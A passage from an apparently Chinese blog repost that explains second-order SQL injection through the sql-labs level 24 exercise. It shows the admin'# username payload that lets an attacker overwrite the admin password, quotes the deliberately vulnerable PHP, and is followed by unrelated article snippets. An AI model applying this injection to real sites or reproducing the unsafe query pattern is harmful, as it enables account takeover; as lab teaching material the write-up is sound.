  2. 第二步需要一定条件,需要我们的框架有将数据再次取出查询这一行为,在查询时将可能发生以下语句:
select ... from ...... xx = 'xx'' ....;

我们会发现这和宽字节注入的情况类似,我们的SQL语句中都出现了一个自由的单引号,这便是我们的操作区域,与之类似的还有三次注入等,我们不再过多赘述,我们以sql-labs的第24关来演示:

首先在数据库中存在一个admin账户,然后我们去注册一个带有恶意数据的账户:admin'#

在这里插入图片描述

然后我们修改我们恶意账户的密码:

注意:有的分支版本其24关的logged-in.php文件不对,可能没有这个页面,建议找个下游版本替换

在这里插入图片描述

最后我们成功修改了管理员admin的密码:

在这里插入图片描述

为什么会出现此情况呢?直接白盒审计:

$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);...  				
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

我们在创建用户的页面可以看到,程序对我们的输入进行了转义,这里我们的输入不能够直接注入,因为数据库会将我们的字符串按普通字符串写入,不能构造闭合,我们再来看数据取出数据时的操作:

$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
...
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

它在取出数据时,直接使用的会话中的用户名,那我们继续追踪发现以下代码,果不其然直接使用的数据库的内容,并没有做其他处理:

function sqllogin(){$username = mysql_real_escape_string($_POST["login_user"]);$password = mysql_real_escape_string($_POST["login_password"]);$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');$row = mysql_fetch_row($res);//print_r($row) ;if ($row[1]) {return $row[1];} else {return 0;}
}$login = sqllogin();
if (!$login== 0) 
{$_SESSION["username"] = $login;setcookie("Auth", 1, time()+3600);  /* expire in 15 Minutes */header('Location: logged-in.php');
} 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_1045434.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pycharm一直打不开

一直处在下面的页面&#xff0c;没有反应 第一种方案&#xff1a; 以管理员身份运行 cmd.exe&#xff1b;在打开的cmd窗口中&#xff0c;输入 netsh winsock reset &#xff0c;按回车键&#xff1b;重启电脑&#xff1b;重启后&#xff0c;双击pycharm图标就能打开了&#xf…

F - 创新型机器猫 高性能战斗机器人(遇到过的题,做个笔记)

我的代码&#xff1a; #include <iostream> #include <vector> using namespace std; int main() {string str;cin >> str;int dxy[][2] { {0,1},{1,0},{0,-1},{-1,0} }; //设置偏移量&#xff0c;按照右转顺序&#xff1a;北->东->南->西int now…

西门子PLC(S7-200 SMART)学习笔记1:初识PLC可编程逻辑器件

今日开始我的西门子PLC学习之路&#xff0c;学习的型号以S7-200 SMART为主 主要认识一下PLC是什么、型号怎么看、 通信相关、编程软件、构造及工作原理 目录 西门子官方PLC手册获取&#xff1a; 1、PLC可编程逻辑器件的基本认识&#xff1a; PLC的结构及各部分的作用&#xff…

雄安新区5G+北斗:引领数字城市建设新浪潮

随着数字化转型成为全球城市发展的新趋势&#xff0c;数字城市建设已经成为推动经济增长和提升居民生活质量的关键。近日《人民日报》头版任平文章提及雄安“新质生产力”——5G北斗技术&#xff0c;雄安新区再次成为全球瞩目的焦点。 “5G北斗”&#xff1a;雄安新区的创新之举…

2、java语法之循环、数组与方法(找工作版)

写在前面&#xff1a;整个系列文章是自己学习慕课相关视频&#xff0c;进行的一个总结。文章只是为了记录学习课程的整个过程&#xff0c;方便以后查漏补缺&#xff0c;找到对应章节。 文章目录 一、Java循环结构1、while循环2、do-while循环3、for循环4、嵌套循环5、break语句…

BGP-(as-path-filter)

BGP-as-path-filter&#xff0c;缺省 as-path-filter&#xff0c;正则表达式&#xff0c;as-path过滤器&#xff0c;对于BGP的as-path属性实际上可以看成是一个包含空格的字符串。 特点&#xff1a;1、通过对BGP路由的as-path属性进行匹配达到对BGP路由的过滤。 2、在route-…

redis 集群 (主从复制 哨兵模式 cluster)

目录 一 主从复制 &#xff08;一&#xff09;相关理论 1&#xff0c;主从复制定义 2&#xff0c;主从复制的作用 3&#xff0c;主从复制架构图 4 sync 同步过程 5&#xff0c;主从复制流程 &#xff08;二&#xff09; 实验模拟 1&#xff0c; 实验环境 2, 修…

(React生命周期)前端八股文修炼Day8

一 React的生命周期有哪些 React组件的生命周期可以分为三个主要阶段&#xff1a;挂载&#xff08;Mounting&#xff09;、更新&#xff08;Updating&#xff09;和卸载&#xff08;Unmounting&#xff09;。React类组件的生命周期方法允许你在组件的不同阶段执行代码。 挂载…

算法打卡day41|动态规划篇09| Leetcode198.打家劫舍、213.打家劫舍II、337.打家劫舍 III

算法题 Leetcode 198.打家劫舍 题目链接:198.打家劫舍 大佬视频讲解&#xff1a;198.打家劫舍视频讲解 个人思路 偷还是偷&#xff0c;这取决于前一个和前两个房是否被偷了&#xff0c;这种存在依赖关系的题目可以用动态规划解决。 解法 动态规划 动规五部曲&#xff1a;…

[Java基础揉碎]System类

1) exit 退出当前程序 2) arraycopy: 复制数组元素&#xff0c;比较适合底层调用&#xff0c;一般使用 Arrays.copyOf完成复制数组(Arrays.copyOf其实底层也是用的System.arraycopy, 本质是一样的) int[] src{1,2,3}; int[] dest new int[3]; System.arraycopy(src, 0, des…

14届蓝桥杯省赛 C/C++ B组 T8 整数删除(双向链表,堆)

瞬间定位一个数的左边或者右边&#xff0c;需要用到双向链表。 在过程中不断维护最小值&#xff0c;需要用到堆。 所以定义一个pair类型优先队列&#xff0c;每次取出堆顶进行删除&#xff0c;并且同时让删除元素的左右元素加上其值。 同时需要注意&#xff0c;在删除元素之后…

C++——栈和队列容器

前言&#xff1a;这篇文章我们将栈和队列两个容器放在一起进行分享&#xff0c;因为这两个要分享的知识较少&#xff0c;而且两者在结构上有很多相似之处&#xff0c;比如栈只能在栈顶操作&#xff0c;队列只能在队头和队尾操作。 不同于前边所分享的三种容器&#xff0c;这篇…

vue2实现wangEditor富文本便捷器的封装使用--真实项目

基于wangEditor 5实现一个简单的富文本编辑器组件&#xff0c;实现自定义上传图片。 官网地址&#xff1a;https://www.wangeditor.com/v5/for-frame.html#%E9%85%8D%E7%BD%AE 1. 安装依赖包&#xff1a; npm i wangeditor/editor --save npm i wangeditor/editor-for-vue --…

HarmonyOS 开发-数据库版本升级案例

介绍 本示例介绍使用关系型数据库的接口来进行数据库升降级场景实现 效果预览图 使用说明 加载完成后有版本升级以及版本恢复两种按钮点击版本升级下的”升级至V2“按钮&#xff0c;则数据库版本会从V1升级至V2&#xff0c;且在表格处显示V1和V2版本表格字段对比。点击版本升…

CNN-Transformer时间序列预测

部分代码&#xff1a; # CNN-Transformer class CNNTransformerEncoder(nn.Module):def __init__(self, input_features, transformer_encoder_heads,embedding_features, cnn_kernel_size, dim_feedforward_enc, n_encoder_layer):super(CNNTransformerEncoder, self).__init…

AcWing [875]快速幂(C++)

给定 n 组 ai,bi,pi&#xff0c;对于每组数据&#xff0c;求出 ai^bi mod pi 的值。 输入格式 第一行包含整数 n。 接下来 n行&#xff0c;每行包含三个整数 ai,bi,pi。 输出格式 对于每组数据&#xff0c;输出一个结果&#xff0c;表示 ai^bi mod pi 的值。 每个结果占一…

提升Terraform工作流程最佳实践

Terraform 是管理基础设施及代码&#xff08;IaC&#xff09;最常用的工具之一&#xff0c;它能使我们安全且可预测地对基础设施应用更改。刚开始上手 Terraform 可能会感觉有些不容易&#xff0c;但很快就能对该工具有基本的了解&#xff0c;随之可以开始运行命令、创建和重构…

python爬虫 爬取网页图片

http://t.csdnimg.cn/iQgHw //爬虫爬取图片其实是很简单的&#xff0c;但是大多数同学&#xff0c;可能对 url的设置一直有困惑&#xff08;这点本人也在研究&#xff09;&#xff0c;而本篇文章&#xff0c;对于想要爬取图片的小白简直是福利。你只需要将文章代码运行即可&am…

详细分析Vuex中的mapGetters

目录 1. 基本知识2. Demo13. Demo2 1. 基本知识 优势和用途 简化代码&#xff1a;用 mapGetters 和 mapState&#xff0c;可以简化组件中对于 Vuex 中状态和 getter 的映射工作&#xff0c;减少了重复的代码书写更易读&#xff1a;组件中直接使用映射的计算属性&#xff0c;使…

基于SSM+Jsp+Mysql的快递管理系统

开发语言&#xff1a;Java框架&#xff1a;ssm技术&#xff1a;JSPJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包…